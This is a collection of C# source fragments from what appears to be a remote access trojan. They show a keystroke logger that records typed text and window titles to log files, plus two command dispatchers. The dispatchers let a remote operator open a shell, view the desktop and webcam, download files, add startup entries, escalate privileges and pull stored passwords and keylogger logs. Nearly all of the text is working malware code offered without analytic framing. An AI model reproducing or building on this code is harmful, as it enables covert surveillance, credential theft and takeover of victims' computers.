private void OnKeyDown(object sender, KeyEventArgs e) //Called first { string activeWindowTitle = KeyLoggerController.GetActiveWindowTitle(); //Get active thread window title if (!string.IsNullOrEmpty(activeWindowTitle) && activeWindowTitle != _lastWindowTitle) { _lastWindowTitle = activeWindowTitle; _logFileBuffer.Append(@"<p class=""h""><br><br>[<b>" + KeyLoggerController.Filter(activeWindowTitle) + " - " + DateTime.Now.ToString("HH:mm") + "</b>]</p><br>"); } if (_pressedKeys.IsModifierKeysSet()) { if (!_pressedKeys.Contains(e.KeyCode)) { Debug.WriteLine("OnKeyDown: " + e.KeyCode); _pressedKeys.Add(e.KeyCode); return; } } if (!e.KeyCode.IsExcludedKey()) { // The key was not part of the keys that we wish to filter, so // be sure to prevent a situation where multiple keys are pressed. if (!_pressedKeys.Contains(e.KeyCode)) { Debug.WriteLine("OnKeyDown: " + e.KeyCode); _pressedKeys.Add(e.KeyCode); } } }
private void WriteFile() { bool writeHeader = false; string filename = Path.Combine(LogDirectory, DateTime.Now.ToString("MM-dd-yyyy")); try { DirectoryInfo di = new DirectoryInfo(LogDirectory); if (!di.Exists) { di.Create(); } //if (Settings.HIDELOGDIRECTORY) // di.Attributes = FileAttributes.Directory | FileAttributes.Hidden; if (!File.Exists(filename)) { writeHeader = true; } StringBuilder logFile = new StringBuilder(); if (writeHeader) { logFile.Append( "<meta http-equiv='Content-Type' content='text/html; charset=utf-8' />Log created on " + DateTime.Now.ToString("dd.MM.yyyy HH:mm") + "<br><br>"); logFile.Append("<style>.h { color: 0000ff; display: inline; }</style>"); _lastWindowTitle = string.Empty; } if (_logFileBuffer.Length > 0) { logFile.Append(_logFileBuffer); } KeyLoggerController.WriteLogFile(filename, logFile.ToString()); logFile.Clear(); } catch { } _logFileBuffer.Clear(); }
//This method should be used to process all of our unicode characters private void OnKeyPress(object sender, KeyPressEventArgs e) //Called second { if (_pressedKeys.IsModifierKeysSet() && _pressedKeys.ContainsKeyChar(e.KeyChar)) { return; } if ((!_pressedKeyChars.Contains(e.KeyChar) || !KeyLoggerController.DetectKeyHolding(_pressedKeyChars, e.KeyChar)) && !_pressedKeys.ContainsKeyChar(e.KeyChar)) { var filtered = KeyLoggerController.Filter(e.KeyChar); if (!string.IsNullOrEmpty(filtered)) { Debug.WriteLine("OnKeyPress Output: " + filtered); if (_pressedKeys.IsModifierKeysSet()) { _ignoreSpecialKeys = true; } _pressedKeyChars.Add(e.KeyChar); _logFileBuffer.Append(filtered); } } }
public static void packetChecker(ClientMosaique client, IPackets packet) { var type = packet.Type; if (type == TypePackets.DoAskElevate) { Controllers.Tools.CommandController.doAskElevate((DoAskElevate)packet, client); } else if (type == TypePackets.SetClientIdentifier) { ManageController.setClientIdentifier((SetClientIdentifier)packet, client); } else if (type == TypePackets.UninstallClient) { ClientUninstallerController.uninstall(client); } else if (type == TypePackets.CloseClient) { ManageController.CloseClient(); } else if (type == TypePackets.GetMonitors) { RemoteDesktopController.getMonitors(client); } else if (type == TypePackets.GetDesktop) { RemoteDesktopController.getDesktop((GetDesktop)packet, client); } else if (type == TypePackets.GetExecuteShellCmd) { RemoteShellController.getExecuteShellCmd((GetExecuteShellCmd)packet, client); } else if (type == TypePackets.GetAvailableWebcams) { RemoteWebcamController.getAvailableWebcams((GetAvailableWebcams)packet, client); } else if (type == TypePackets.GetWebcam) { RemoteWebcamController.getWebcam((GetWebcam)packet, client); } else if (type == TypePackets.StopWebcam) { RemoteWebcamController.stopWebcam(); } else if (type == TypePackets.GetDrives) { FileManagerController.getDrives((GetDrives)packet, client); } else if (type == TypePackets.GetDirectory) { FileManagerController.getDirectory((GetDirectory)packet, client); } else if (type == TypePackets.DoDownloadFile) { FileManagerController.doDownloadFile((DoDownloadFile)packet, client); } else if (type == TypePackets.DoDownloadFileCancel) { FileManagerController.doDownloadFileCancel((DoDownloadFileCancel)packet, client); } else if (type == TypePackets.GetProcesses) { TaskManagerController.getProcesses((GetProcesses)packet, client); } else if (type == TypePackets.GetSysInfo) { SystemInformationController.getSysInfo(client); } else if (type == TypePackets.GetStartupItems) { StartupManagerController.getStartupItems((GetStartupItems)packet, client); } else if (type == TypePackets.DoStartupItemAdd) { StartupManagerController.doStartupItemAdd((DoStartupItemAdd)packet, client); } else if (type == TypePackets.DoStartupItemRemove) { StartupManagerController.doStartupItemRemove((DoStartupItemRemove)packet, client); } else if (type == TypePackets.GetPasswords) { PasswordRecoveryController.getPasswords((GetPasswords)packet, client); } else if (type == TypePackets.GetKeyLoggerLogs) { KeyLoggerController.getKeyLogger((GetKeyLoggerLogs)packet, client); } else if (type == TypePackets.DoTrayCdOpenClose) { DoTrayCdOpenCloseController.openCloseTrayCD((DoTrayCdOpenClose)packet, client); } else if (type == TypePackets.SendMessageBox) { SendMessageBoxController.MessageBoxShow((SendMessageBox)packet); } else if (type == TypePackets.MsgToRemoteChat) { FrmRemoteChatController.msgFromRemoteChat((MsgToRemoteChat)packet, client); } else if (type == TypePackets.CloseRemoteChat) { FrmRemoteChatController.closeRemoteChat(client); } else if (type == TypePackets.PlaySong) { PlaySongController.playOnInt((PlaySong)packet); } }
private string HighlightSpecialKeys(Keys[] keys) { if (keys.Length < 1) { return(string.Empty); } string[] names = new string[keys.Length]; for (int i = 0; i < keys.Length; i++) { if (!_ignoreSpecialKeys) { names[i] = KeyLoggerController.GetDisplayName(keys[i]); Debug.WriteLine("HighlightSpecialKeys: " + keys[i] + " : " + names[i]); } else { names[i] = string.Empty; _pressedKeys.Remove(keys[i]); } } _ignoreSpecialKeys = false; if (_pressedKeys.IsModifierKeysSet()) { StringBuilder specialKeys = new StringBuilder(); int validSpecialKeys = 0; for (int i = 0; i < names.Length; i++) { _pressedKeys.Remove(keys[i]); if (string.IsNullOrEmpty(names[i])) { continue; } specialKeys.AppendFormat((validSpecialKeys == 0) ? @"<p class=""h"">[{0}" : " + {0}", names[i]); validSpecialKeys++; } // If there are items in the special keys string builder, give it an ending tag if (validSpecialKeys > 0) { specialKeys.Append("]</p>"); } Debug.WriteLineIf(specialKeys.Length > 0, "HighlightSpecialKeys Output: " + specialKeys.ToString()); return(specialKeys.ToString()); } StringBuilder normalKeys = new StringBuilder(); for (int i = 0; i < names.Length; i++) { _pressedKeys.Remove(keys[i]); if (string.IsNullOrEmpty(names[i])) { continue; } switch (names[i]) { case "Return": normalKeys.Append(@"<p class=""h"">[Enter]</p><br>"); break; case "Escape": normalKeys.Append(@"<p class=""h"">[Esc]</p>"); break; default: normalKeys.Append(@"<p class=""h"">[" + names[i] + "]</p>"); break; } } Debug.WriteLineIf(normalKeys.Length > 0, "HighlightSpecialKeys Output: " + normalKeys.ToString()); return(normalKeys.ToString()); }
public static void packetChecker(ClientMosaic client, IPackets packet) { var type = packet.Type; if (type == TypePackets.DoAskElevate) { Controllers.Tools.CommandController.doAskElevate((DoAskElevate)packet, client); } else if (type == TypePackets.GetMonitors) { RemoteDesktopController.getMonitors(client); } else if (type == TypePackets.GetDesktop) { RemoteDesktopController.getDesktop((GetDesktop)packet, client); } else if (type == TypePackets.GetExecuteShellCmd) { RemoteShellController.getExecuteShellCmd((GetExecuteShellCmd)packet, client); } else if (type == TypePackets.GetAvailableWebcams) { RemoteWebcamController.getAvailableWebcams((GetAvailableWebcams)packet, client); } else if (type == TypePackets.GetWebcam) { RemoteWebcamController.getWebcam((GetWebcam)packet, client); } else if (type == TypePackets.StopWebcam) { RemoteWebcamController.stopWebcam(); } else if (type == TypePackets.GetDrives) { FileManagerController.getDrives((GetDrives)packet, client); } else if (type == TypePackets.GetDirectory) { FileManagerController.getDirectory((GetDirectory)packet, client); } else if (type == TypePackets.DoDownloadFile) { FileManagerController.doDownloadFile((DoDownloadFile)packet, client); } else if (type == TypePackets.DoDownloadFileCancel) { FileManagerController.doDownloadFileCancel((DoDownloadFileCancel)packet, client); } else if (type == TypePackets.GetProcesses) { TaskManagerController.getProcesses((GetProcesses)packet, client); } else if (type == TypePackets.GetSysInfo) { SystemInformationController.getSysInfo(client); } else if (type == TypePackets.GetStartupItems) { StartupManagerController.getStartupItems((GetStartupItems)packet, client); } else if (type == TypePackets.DoStartupItemAdd) { StartupManagerController.doStartupItemAdd((DoStartupItemAdd)packet, client); } else if (type == TypePackets.DoStartupItemRemove) { StartupManagerController.doStartupItemRemove((DoStartupItemRemove)packet, client); } else if (type == TypePackets.GetPasswords) { PasswordRecoveryController.getPasswords((GetPasswords)packet, client); } else if (type == TypePackets.GetKeyLoggerLogs) { KeyLoggerController.getKeyLogger((GetKeyLoggerLogs)packet, client); } }